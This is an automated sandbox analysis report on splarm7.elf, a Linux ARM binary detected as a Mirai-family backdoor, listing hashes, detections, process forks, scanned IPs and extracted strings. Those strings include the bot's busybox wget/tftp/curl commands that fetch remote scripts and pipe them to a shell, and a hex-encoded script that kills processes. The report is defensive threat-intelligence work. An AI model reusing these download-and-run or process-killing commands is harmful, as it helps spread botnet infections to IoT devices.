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Linux Analysis Report
splarm7.elf

Overview

General Information

Sample name:	splarm7.elf
Analysis ID:	1543612
MD5:	b9d448a597f1f7acebf3d6c9792fd3e7
SHA1:	73f331b4488fd761915606a16886a8b4ac28c775
SHA256:	f4cc8739ba6ceb5518352cecf03f4eb6a1eeb19756d4322a46c61e8d42bcf629
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543612
Start date and time:	2024-10-28 08:01:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splarm7.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/97@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http:///curl.sh
VT rate limit hit for: http:///wget.sh

Runtime Messages

Command:	/tmp/splarm7.elf
PID:	5493
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splarm7.elf (PID: 5493, Parent: 5415, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm7.elf

splarm7.elf New Fork (PID: 5495, Parent: 5493)

splarm7.elf New Fork (PID: 5497, Parent: 5495)

splarm7.elf New Fork (PID: 5499, Parent: 5495)

splarm7.elf New Fork (PID: 5501, Parent: 5495)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: splarm7.elf	ReversingLabs: Detection: 39%
Source: splarm7.elf	Virustotal: Detection: 34%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 213.208.121.92
Source: unknown	TCP traffic detected without corresponding DNS query: 99.101.177.11
Source: unknown	TCP traffic detected without corresponding DNS query: 213.208.121.92
Source: unknown	TCP traffic detected without corresponding DNS query: 114.164.100.140
Source: unknown	TCP traffic detected without corresponding DNS query: 99.101.177.11
Source: unknown	TCP traffic detected without corresponding DNS query: 52.138.150.82
Source: unknown	TCP traffic detected without corresponding DNS query: 114.164.100.140
Source: unknown	TCP traffic detected without corresponding DNS query: 3.199.249.223
Source: unknown	TCP traffic detected without corresponding DNS query: 52.138.150.82
Source: unknown	TCP traffic detected without corresponding DNS query: 223.174.126.22
Source: unknown	TCP traffic detected without corresponding DNS query: 3.199.249.223
Source: unknown	TCP traffic detected without corresponding DNS query: 111.205.118.45
Source: unknown	TCP traffic detected without corresponding DNS query: 223.174.126.22
Source: unknown	TCP traffic detected without corresponding DNS query: 22.71.166.229
Source: unknown	TCP traffic detected without corresponding DNS query: 111.205.118.45
Source: unknown	TCP traffic detected without corresponding DNS query: 89.249.47.190
Source: unknown	TCP traffic detected without corresponding DNS query: 22.71.166.229
Source: unknown	TCP traffic detected without corresponding DNS query: 32.242.219.196
Source: unknown	TCP traffic detected without corresponding DNS query: 89.249.47.190
Source: unknown	TCP traffic detected without corresponding DNS query: 32.242.219.196
Source: unknown	TCP traffic detected without corresponding DNS query: 191.189.33.127
Source: unknown	TCP traffic detected without corresponding DNS query: 191.189.33.127
Source: unknown	TCP traffic detected without corresponding DNS query: 212.132.53.237
Source: unknown	TCP traffic detected without corresponding DNS query: 71.90.135.151
Source: unknown	TCP traffic detected without corresponding DNS query: 212.132.53.237
Source: unknown	TCP traffic detected without corresponding DNS query: 95.36.228.141
Source: unknown	TCP traffic detected without corresponding DNS query: 71.90.135.151
Source: unknown	TCP traffic detected without corresponding DNS query: 23.139.33.146
Source: unknown	TCP traffic detected without corresponding DNS query: 95.36.228.141
Source: unknown	TCP traffic detected without corresponding DNS query: 23.139.33.146
Source: unknown	TCP traffic detected without corresponding DNS query: 179.189.56.194
Source: unknown	TCP traffic detected without corresponding DNS query: 223.94.93.89
Source: unknown	TCP traffic detected without corresponding DNS query: 179.189.56.194
Source: unknown	TCP traffic detected without corresponding DNS query: 62.13.216.112
Source: unknown	TCP traffic detected without corresponding DNS query: 223.94.93.89
Source: unknown	TCP traffic detected without corresponding DNS query: 188.156.54.128
Source: unknown	TCP traffic detected without corresponding DNS query: 62.13.216.112
Source: unknown	TCP traffic detected without corresponding DNS query: 188.156.54.128
Source: unknown	TCP traffic detected without corresponding DNS query: 196.48.8.185
Source: unknown	TCP traffic detected without corresponding DNS query: 196.48.8.185
Source: unknown	TCP traffic detected without corresponding DNS query: 140.232.21.220
Source: unknown	TCP traffic detected without corresponding DNS query: 140.232.21.220
Source: unknown	TCP traffic detected without corresponding DNS query: 7.48.42.39
Source: unknown	TCP traffic detected without corresponding DNS query: 7.48.42.39
Source: unknown	TCP traffic detected without corresponding DNS query: 134.106.159.76
Source: unknown	TCP traffic detected without corresponding DNS query: 134.106.159.76
Source: unknown	TCP traffic detected without corresponding DNS query: 128.39.115.204
Source: unknown	TCP traffic detected without corresponding DNS query: 108.217.191.180
Source: unknown	TCP traffic detected without corresponding DNS query: 30.244.104.245
Source: unknown	TCP traffic detected without corresponding DNS query: 128.39.115.204

Source: splarm7.elf	String found in binary or memory: http:///curl.sh
Source: splarm7.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5520/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5520/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5531/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5531/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5521/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5521/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5532/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5532/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5522/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5522/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5533/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5588/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5523/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5523/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5534/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5534/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5524/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5524/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5535/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5535/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5525/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5525/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5536/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5536/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5526/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5526/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5526/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5526/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5537/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5537/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5527/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5527/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5527/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5527/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5538/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5538/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5528/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5528/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5528/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5528/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5529/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5529/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5529/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5499)	File opened: /proc/5529/cmdline	Jump to behavior

Source: splarm7.elf, 5493.1.00007ffc4f8f3000.00007ffc4f914000.rw-.sdmp, splarm7.elf, 5497.1.00007ffc4f8f3000.00007ffc4f914000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm7.elf
Source: splarm7.elf, 5493.1.000056181999d000.0000561819aee000.rw-.sdmp, splarm7.elf, 5497.1.000056181999d000.0000561819acb000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm7.elf, 5493.1.00007ffc4f8f3000.00007ffc4f914000.rw-.sdmp, splarm7.elf, 5497.1.00007ffc4f8f3000.00007ffc4f914000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: splarm7.elf, 5493.1.000056181999d000.0000561819aee000.rw-.sdmp, splarm7.elf, 5497.1.000056181999d000.0000561819acb000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
splarm7.elf	39%	ReversingLabs	Linux.Backdoor.Mirai
splarm7.elf	35%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splarm7.elf	false		unknown
http:///curl.sh	splarm7.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
36.5.156.90	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
154.209.247.120	unknown	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
174.91.234.2	unknown	Canada	577	BACOMCA	false
98.185.88.76	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
17.55.7.188	unknown	United States	714	APPLE-ENGINEERINGUS	false
109.188.182.12	unknown	Russian Federation	31213	MF-NWGSM-ASRU	false
148.238.199.58	unknown	Mexico	7125	UniversidaddeMonterreyMX	false
167.23.155.230	unknown	United States	11870	ALTICOR-INCUS	false
75.197.20.102	unknown	United States	22394	CELLCOUS	false
21.74.24.237	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
201.159.252.49	unknown	Brazil	262568	NetviaTelecomProvedordeInternetLtdaBR	false
66.62.46.111	unknown	United States	19092	360NETWORKS-US	false
66.222.109.156	unknown	United States	4181	TDS-ASUS	false
183.222.212.92	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
18.23.152.162	unknown	United States	3	MIT-GATEWAYSUS	false
140.91.23.117	unknown	United States	31898	ORACLE-BMC-31898US	false
142.115.139.68	unknown	Canada	577	BACOMCA	false
114.185.168.23	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
83.127.110.43	unknown	European Union	44307	MDSOLDE	false
219.187.102.73	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
148.144.98.34	unknown	United States	18715	NYPAUS	false
159.194.8.204	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
194.185.70.201	unknown	Italy	3313	INET-ASIT	false
15.67.29.198	unknown	United States	13979	ATT-IPFRUS	false
139.155.99.43	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
80.133.16.17	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.27.162.143	unknown	Tunisia	37492	ORANGE-TN	false
166.31.45.69	unknown	United States	206	CSC-IGN-AMERUS	false
180.192.8.245	unknown	Philippines	45223	WIN-AS-TH-APWorldInternetworkCoLtdThailandTH	false
181.5.112.179	unknown	Argentina	7303	TelecomArgentinaSAAR	false
202.14.200.232	unknown	Singapore	4657	STARHUB-INTERNETStarHubLtdSG	false
51.93.107.244	unknown	United States	2686	ATGS-MMD-ASUS	false
170.137.104.84	unknown	United States	11685	HNBCOL-ASUS	false
195.58.18.129	unknown	Russian Federation	3253	SOVINTEL-EF-ASRU	false
41.165.128.68	unknown	South Africa	36937	Neotel-ASZA	false
216.197.120.9	unknown	United States	14992	CRYSTALTECHUS	false
38.159.27.227	unknown	United States	174	COGENT-174US	false
194.123.223.2	unknown	Germany	1136	KPNKPNNationalEU	false
177.1.227.210	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
45.121.228.234	unknown	India	134426	MAHATAA-AS-APMahataaInformationIndiaPrivateLimitedIN	false
80.44.118.191	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
128.206.119.240	unknown	United States	26934	UNIVERSITY-OF-MISSOURI---COLUMBIAUS	false
21.120.144.237	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.245.29.156	unknown	Germany	6805	TDDE-ASN1DE	false
213.185.190.153	unknown	Austria	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
202.15.237.139	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
75.35.153.131	unknown	United States	7018	ATT-INTERNET4US	false
126.217.86.188	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
123.57.234.16	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
57.144.233.124	unknown	Belgium	2686	ATGS-MMD-ASUS	false
59.106.31.141	unknown	Japan	9370	SAKURA-BSAKURAInternetIncJP	false
88.114.0.200	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
177.25.67.218	unknown	Brazil	26599	TELEFONICABRASILSABR	false
217.118.81.160	unknown	Russian Federation	16345	BEE-ASRussiaRU	false
103.215.145.55	unknown	Korea Republic of	17837	KCP-AS-KRNHNKCPCorpKR	false
33.110.159.58	unknown	United States	2686	ATGS-MMD-ASUS	false
59.190.53.51	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
141.4.89.202	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
60.38.77.51	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
105.139.63.158	unknown	Morocco	6713	IAM-ASMA	false
50.112.134.202	unknown	United States	16509	AMAZON-02US	false
187.198.75.71	unknown	Mexico	8151	UninetSAdeCVMX	false
16.87.20.161	unknown	United States	unknown	unknown	false
193.252.119.74	unknown	France	24600	WANADOOPORTAILS-ASWanadooPortailsDirectiontechniqueFR	false
44.144.208.104	unknown	United States	62383	LDS-ASBE	false
99.192.40.235	unknown	Canada	855	CANET-ASN-4CA	false
48.248.70.164	unknown	United States	2686	ATGS-MMD-ASUS	false
117.89.221.74	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
152.16.211.17	unknown	United States	13371	DUKE-INTERCHANGEUS	false
87.148.87.126	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
73.39.115.46	unknown	United States	7922	COMCAST-7922US	false
185.64.4.64	unknown	unknown	207406	MESSAGGIOLV	false
207.104.75.112	unknown	United States	13330	TECHNOLOGY-CENTER---SNAUS	false
28.197.183.29	unknown	United States	7922	COMCAST-7922US	false
213.40.91.121	unknown	United Kingdom	9142	CommercialISPGB	false
220.214.215.226	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
35.55.198.29	unknown	United States	36375	UMICH-AS-5US	false
181.181.107.158	unknown	Venezuela	262210	VIETTELPERUSACPE	false
94.28.57.196	unknown	Russian Federation	12772	ENFORTA-ASEnfortaAutonomousSystemRU	false
186.127.180.180	unknown	Argentina	7303	TelecomArgentinaSAAR	false
204.39.203.208	unknown	United States	237	MERIT-AS-14US	false
73.18.15.156	unknown	United States	7922	COMCAST-7922US	false
76.63.10.96	unknown	United States	11955	TWC-11955-ATLANTAUS	false
130.97.50.175	unknown	United States	13326	TUFTS-UNIVERSITYUS	false
55.247.82.192	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
170.186.201.105	unknown	United States	11273	FDCSGNETUS	false
12.184.111.65	unknown	United States	7018	ATT-INTERNET4US	false
134.124.170.44	unknown	United States	46832	UNIVERSITY-OF-MISSOURI-SYSTEM-INTER-CAMPUS-NETWORKUS	false
128.154.149.54	unknown	United States	1749	AS1749US	false
42.64.54.135	unknown	Taiwan; Republic of China (ROC)	4249	LILLY-ASUS	false
68.212.122.232	unknown	United States	6385	BELLSOUTH-NET-BLKUS	false
222.211.202.138	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
77.209.40.129	unknown	Spain	12430	VODAFONE_ESES	false
210.89.215.11	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
49.157.125.32	unknown	Philippines	9658	ETPI-IDS-AS-APEasternTelecomsPhilsIncPH	false
71.44.42.142	unknown	United States	33363	BHN-33363US	false
83.83.143.130	unknown	Netherlands	33915	TNF-ASNL	false
208.219.189.33	unknown	United States	701	UUNETUS	false
147.154.235.35	unknown	United States	31898	ORACLE-BMC-31898US	false
86.241.254.2	unknown	France	3215	FranceTelecom-OrangeFR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yellowchink.pirate	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BACOMCA	nklm68k.elf	Get hash	malicious	Unknown	Browse	74.15.251.123
	splarm7.elf	Get hash	malicious	Unknown	Browse	74.14.0.37
	splarm.elf	Get hash	malicious	Unknown	Browse	76.65.71.230
	splsh4.elf	Get hash	malicious	Unknown	Browse	184.148.193.138
	jklx86.elf	Get hash	malicious	Unknown	Browse	184.149.250.177
	splmips.elf	Get hash	malicious	Unknown	Browse	67.68.142.235
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	76.64.250.33
	kkkx86.elf	Get hash	malicious	Unknown	Browse	64.228.69.165
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	216.209.116.175
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	76.71.112.99
ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	nabm68k.elf	Get hash	malicious	Unknown	Browse	118.184.5.202
	splppc.elf	Get hash	malicious	Unknown	Browse	154.209.247.150
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	156.253.18.41
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	103.93.121.230
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.241.153.155
	garm.elf	Get hash	malicious	Mirai	Browse	156.241.153.121
	garm5.elf	Get hash	malicious	Mirai	Browse	156.253.18.48
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	160.181.221.106
	General terms and conditions of sale - Valid from 10202024 to 12312024.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	154.204.174.144
CHINANET-BACKBONENo31Jin-rongStreetCN	splarm.elf	Get hash	malicious	Unknown	Browse	110.187.255.230
	splarm5.elf	Get hash	malicious	Unknown	Browse	110.90.217.96
	splmips.elf	Get hash	malicious	Unknown	Browse	183.156.99.207
	splsh4.elf	Get hash	malicious	Unknown	Browse	218.3.43.61
	splspc.elf	Get hash	malicious	Unknown	Browse	115.194.203.187
	ppc.elf	Get hash	malicious	Unknown	Browse	42.91.33.45
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	123.184.136.141
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	171.113.100.126
	splx86.elf	Get hash	malicious	Unknown	Browse	140.224.220.84
	nabspc.elf	Get hash	malicious	Unknown	Browse	222.93.42.73

Process:	/tmp/splarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.2790196086555996
Encrypted:	false
SSDEEP:	3:FVHvg9FQWUT5FFNFirT/VUR93FQWUT5FFNFvVqHHT/VVdf/FVLADsVHI1v/VVdf/:PvNDFC/VUR4DFdC/VjmsVot/VOArB/VH
MD5:	F2A3B28C6B0E8AAA4AC141FBEBA09DF8
SHA1:	2D87623B4FC6C84CA41F67288E23B107B2BFA71D
SHA-256:	C846DDF484071DF43C0F8A1A5B74DC29B8B20BC7191931B78214BC689F31EA92
SHA-512:	795494F1EA198FC4563379BD2C9DB563D4C569FD00EBD422223D1B63E4160137D312A63E4467A88767BB5AAB2937423496C8A913702DA57C9BE3D2E6AC185307
Malicious:	false
Reputation:	low
Preview:	8000-1d000 r-xp 00000000 fd:00 531606 /tmp/..24000-25000 rw-p 00014000 fd:00 531606 /tmp/..25000-2b000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Process:	/tmp/splarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.2790196086555996
Encrypted:	false
SSDEEP:	3:FVHvg9FQWUT5FFNFirT/VUR93FQWUT5FFNFvVqHHT/VVdf/FVLADsVHI1v/VVdf/:PvNDFC/VUR4DFdC/VjmsVot/VOArB/VH
MD5:	F2A3B28C6B0E8AAA4AC141FBEBA09DF8
SHA1:	2D87623B4FC6C84CA41F67288E23B107B2BFA71D
SHA-256:	C846DDF484071DF43C0F8A1A5B74DC29B8B20BC7191931B78214BC689F31EA92
SHA-512:	795494F1EA198FC4563379BD2C9DB563D4C569FD00EBD422223D1B63E4160137D312A63E4467A88767BB5AAB2937423496C8A913702DA57C9BE3D2E6AC185307
Malicious:	false
Reputation:	low
